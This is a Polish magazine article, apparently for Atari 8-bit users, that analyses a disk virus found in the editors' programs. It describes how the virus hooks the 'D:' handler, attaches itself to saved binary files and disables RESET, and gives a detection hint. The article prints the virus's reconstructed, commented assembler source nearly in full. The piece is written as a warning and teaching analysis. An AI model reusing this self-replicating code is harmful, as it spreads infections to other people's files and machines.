



**Komputery zostały stworzone,
aby służyć człowiekowi.
Do niedawna maszyny, które
wypowiadają posłuszeństwo
swemu panu, straszyły tylko
z kart powieści s-f. I nagle
stało się. Groza rodem z bajek
zamieszkała między nami!**

Dawne, duże komputery wymagały wiele pomocy od człowieka. Operator uruchamiał ręcznie załączek systemu operacyjnego, zakładał taśmę z właściwym systemem. Taka taśma była na ogół zabezpieczona fizycznie przed zapisem. Operator czuwał nad całym przebiegiem pracy komputera, informowany dziesiątkami kolorowych światełek o aktualnym stanie maszyny. Zwykli użytkownicy dostarczali zadania na kartach lub taśmami z papieru, odbierali wyniki w formie płacht wydruków. Komputer, a raczej działający w nim program, nie był w stanie odmienić układu dziurek na papierze. Dziś jest inaczej.

Obecnie, w dobie komputerów osobistych i domowych, które działają autonomicznie po włączeniu do sieci i nie wymagają od użytkownika prawie żadnej wiedzy do ich uruchomienia, znacznie trudniej jest kontrolować, co *on* tam naprawdę robi. Programy przenoszone są na dyskietkach, z niewiedzy lub lenistwa nie zabezpieczonych przed zapisem. Nietrudno tak zaprogramować komputer, by coś zapisał na dyskietce bez wiedzy jej właściciela. Szczególna sytuacja prawna w naszym kraju zachęca do bezkarnego powielania programów. Można to porównać z rozwiązłością seksualną: liczne, chaotyczne i niekontrolowane kontakty sprzyjają przenoszeniu chorób.

Nie jestem zwolennikiem wirusów, przeciwnie: walczę z nimi zaciekle. Tworzone są, jak sądzę, przez szaleńców lub sadystów pozbawionych skrupułów. Ale trudno nie spostrzec także ich korzystnego wpływu na rynek oprogramowania. Rośnie szacunek dla oficjalnych, solidnych sprzedawców, spada zaufanie do pokątnych handlarzy, oferujących towar wątpliwej jakości. Strach przed infekcją wymusza wstrzeźliwość.

Poza wszystkim, abstrahując od etycznych "za" i "przeciw", wirusy stymulują rozwój wyrafinowanych technik programowania oraz dostarczają satysfakcjonującego zajęcia i splendoru rzeszom programistów zwalczających zarazy.

Wychodząc z założenia, że najstraszniejszy jest diabeł nieznany, prezentuję dziś Państwu wirusa, który zagnieździł się w redakcyjnych zasobach programów. W jaki sposób się tu dostał, pozostaje zagadką. Nim został wykryty, zainfekował niemal wszystkie często używane programy i trudno zgadnąć ile dyskietek przysięgł, znajomych i nieznajomych. Drogi Czytelniku! Zbadaj uważnie swoje zasoby. Możesz go mieć i Ty.

Wirus należy do grupy "nieustrukturyzowanych", to znaczy, że nie wbudowano w niego sekwencji niszczących zasoby lub układy komputera. Nie oznacza to jednak, że jest bezpieczny, powoduje bowiem zwiększenie rozmiaru plików, a więc prowadzi do nieoczekiwanego przepełniania dyskietek, co może stanowić pośrednią przyczynę różnorodnych kłopotów. W wyniku uruchomienia zainfekowanego programu wirus zagnieździ się na szóstej stronie, skąd śledzi dyskowe operacje WE/WY, czujny, by dołą-

czyć swą kopię do każdego ZAPISY-
WANEGO programu. Właściciele magnetofonów mogą spać spokojnie. Wirus atakuje tylko pliki w formacie DOS 1 tylko na urządzeniu "D:". Jednak w przypadku skopiowania zarażonego programu na kasetę do użycia z COS-em lub "wykrzyknikiem", może przetrwać lata w stanie utajonym, czekając, aż kupisz sobie stację dysków, lub "sprzedasz" go kole-dze.

Bezpośrednim, zamierzonym przez autora, objawem działania wirusa jest zmiana reakcji komputera w przypadku naciśnięcia klawisza RESET. Wirus oducza radykalnie używania tego klawisza, przechodząc trwale do SELF TEST-u. Jedy-nym wyjściem po takim zdarzeniu może być wyłączenie komputera. Dla tych, którzy nie lubią tego robić (jak ja), prawdziwa to męka. Po takim doświadczeniu niechętnie sięgamy do RESET-u, z czego radość dla wirusa, bo RESET go zabija.

Ubocznym efektem działania intruza może być zawieszanie się komputera przy próbie umieszczenia programów na szóstej stronie (pamiętajmy, że przez znajdującego się tam wirusa przebiega cała obsługa urządzenia "D:"). Może też dać się zauważyć nieznaczne spowolnienie operacji dyskowych, lecz nie musi, bo wirus napisany jest z dużym znawstwem tematu. Czasami "lekki" konflikt na szóstej stronie może spowodować wadliwe działanie procedur WE/WY, a w konsekwencji zniszczenie zasobów na dyskietce.

Zdeasemblowany kod wirusa został przeze mnie przełożony na standard Quick Assemblera, uzupełniony o deklaracje etykiet i komentarze:

```
BOOT EQU $09
DOS1 EQU $0C
FCNT EQU $1D
BYTE EQU $1E
DATA EQU $2F
HTBS EQU $31A
SELF EQU $C901
```

```
ORG $600
```

```
BEGN DTA A(BEGN)
      DTA A(BEGN+LGTH-1)
```

Ten dziwny początek stanowi powtórzenie DOS-owego nagłówka, który w pliku binarnym znajdował się tuż przed nim. Ponieważ DOS nie ładuje nagłówka do pamięci, wirus w celach reprodukcyjnych sam musi zadbać o przechowanie jego wzoru.

```
MAIN EQU *
* 'D' entry search
      LDX #0
```




```
DSRC LDA HTBS,X
      CMP #'D'
      BEQ FOUN
      INX
      INX
      INX
      CPX #36
      BCC DSRC
      RTS
* trap table address
FOUN LDA #6 page 6!
      CMP HTBS+2,X
      BEQ RETU
      LDY #1
TTLP LDA HTBS+2,X
      STA ADDR,Y
      LDA MTAD,Y
      STA HTBS+2,X
      DEX
      DEY
      BPL TTLP
RETU RTS
```

Adres dotychczasowego handlera zostaje przechowany wewnątrz rozkazu w procedurze DOPR, aby można było w dalszym ciągu wykonywać operacje dyskowe, jak gdyby nigdy nic. Wirus nie dba (podobnie jak wielu autorów nadsyłanych do redakcji programów) o poprzednią wartość wektora DOSI i komórki BOOT. Ale w jego przypadku jest to uzasadnione: przybył, by sprawić kłopot.

Tu kończy się część instalacyjna wirusa. Odnalazł on adres sterownika "D:" i wymienił go na własny. Czynność ta nie jest wykonywana, jeżeli brak jest wpisu urządzenia "D:" lub wirus został już uprzednio zainstalowany. Można wykorzystać użytą tu metodę dla rozpoznania obecności wirusa: jeżeli starszy bajt adresu tablicy handlera D: jest równy 6, to najpewniej wirus już siedzi w komputerze. Teraz następują kolejno nowe procedury obsługi "D:".

*--- open

```
XOPN LDA <SELF
      STA DOSI
      LDA >SELF
      STA DOSI+1
      LDY #2
      STY FCNT
      DEY 1
      STY BOOT
      BPL DOPR
```

Jak widać, każde otwarcie pliku spowoduje ustawienie komórki BOOT na 1, co zapewni skok przez wektor DOSI przy użyciu RESET. Wektor DOSI zostaje skierowany na "włeczny SELF TEST". Inicjuje się przy okazji ważną komórkę: FCNT służy wirusowi do zbadania początku zapisywanego pliku, czy zawiera 2 bajty równe 255. Zakończenie polega na skoku do procedury DOPR z wartością 1 w rejestrze Y, co spowoduje wywołanie oryginalnego OPEN – działanie wirusa pozostało niezauważone!

*--- put byte

```
XPUT LDY FCNT
      DEY
      BMI GOPU
      CMP #255
      BEQ *+4
      LDY #255
      STY FCNT
GOPU LDY #7
      BPL DOPR (JMP)
```

Tu widzimy bardzo ciekawy trik: licznik FCNT przybiera wartość 0 po wysłaniu dwóch kolejnych bajtów równych 255, w każdym innym wypadku zostaje ustawiony na 255. Obie te wartości zapobiegają dalszym zmianom licznika. Posłuży on w procedurze CLOSE jako znacznik typu pliku. Skok do DOPR z parametrem 7 spowoduje wywołanie oryginalnej procedury PUT.

*--- close

```
XCLO LDY FCNT
      BNE GOCL
      LDY #4
      STY BYTE
      JSR REPL
      LDY #0
      STY FCNT
      LDY <LGTH
      STY BYTE
      JSR REPL
      LDY <LGTH-6
      STY FCNT
      JSR REPL
GOCL LDY #3
      BPL DOPR (JMP)
```

Procedura CLOSE jest prosta, lecz jakże skuteczna! Wirus sprawdza tu typ pliku i wykonywanej na nim operacji: w przypadku odczytu FCNT=2, a gdy plik nie jest binarny, to FCNT=255. Wtedy wirus "grzecznie" oddaje sterowanie do oryginalnego CLOSE. Natomiast FCNT=0 oznacza zapis pliku binarnego. W tym momencie wszystkie bajty oryginalnego pliku zostały już przesłane, teraz kolej na wirusa! Nie jest to jednak proste, bo oprócz swego ciała, które znajduje się w pamięci, musi wygenerować także nagłówek i adres uruchomienia, potrzebne w przyszłym życiu. Został tu sprytnie wykorzystany licznik FCNT, który z początku ma wartość 0. Oznacza on teraz miejsce w ciele wirusa, od którego zaczyna się kopiowanie. Pomocnicza komórka BYTE określa koniec bloku, który należy zapisać. Początkowy, czterobajtowy fragment kopiuje się dwa razy, aby dostarczyć nagłówek dla DOS-u i jego kopię dla przyszłych pokoleń. To samo dotyczy adresu inicjalizacji, z tyłu wirusa. Za zapisanie pojedynczego bloku danych odpowiedzialna jest poniższa procedura:

*--- body repl

```
LOOP INC FCNT
      LDA BEGN,Y
```

```
JSR GOPU
REPL LDY FCNT
      CPY BYTE
      BNE LOOP
      RTS
```

Korzysta ona z procedury PUT oryginalnego handlera "D:". Odwołania do standardowych procedur handlera zapewnia procedura DOPR, dla której parametrem jest numer starszego bajtu odpowiedniego adresu w tablicy handlera (a więc 1 dla OPEN, 3 dla CLOSE, 5 dla GET itd.).

*--- do std proc

```
XGET LDY #5
      BPL DOPR (JMP)
XSTA LDY #9
      BPL DOPR (JMP)
XSPE LDY #11
DOPR STA DATA
XADR LDA *,Y
ADDR EQU *-2
      PHA
      DEY
      TYA
      ROR 0
      BCC XADR
      LDA DATA
      RTS
```

Proszę zwrócić uwagę na oryginalną konstrukcję pętli, która zawsze wykona się dwa razy, niezależnie od wartości Y, byle była nieparzysta. Etykieta ADDR pokazuje argument poprzedzającego rozkazu LDA, modyfikowany podczas instalacji.

*--- new table

```
MTAD DTA A(MYTA)
MYTA DTA A(XOPN-1) 0
      DTA A(XCLO-1) 2
      DTA A(XGET-1) 4
      DTA A(XPUT-1) 6
      DTA A(XSTA-1) 8
      DTA A(XSPE-1) A
```

XGET, XSTA i XSPE kierują pozostałe funkcje, których wirus nie potrzebuje, do oryginalnego handlera "D:".

*--- init vect

```
DTA A($2E2)
DTA A($2E3)
DTA A(MAIN)
```

*--- total length

```
LGTH EQU *-BEGN
```

Ciało wirusa kończy się powyższym wzorem bloku inicjalizacji, prawdziwy następuje tuż za nim:

*--- do it!

```
ORG $2E2
DTA A(MAIN)

END
```

To wszystko. Strzeżcie się!

Janusz B. Wiśniewski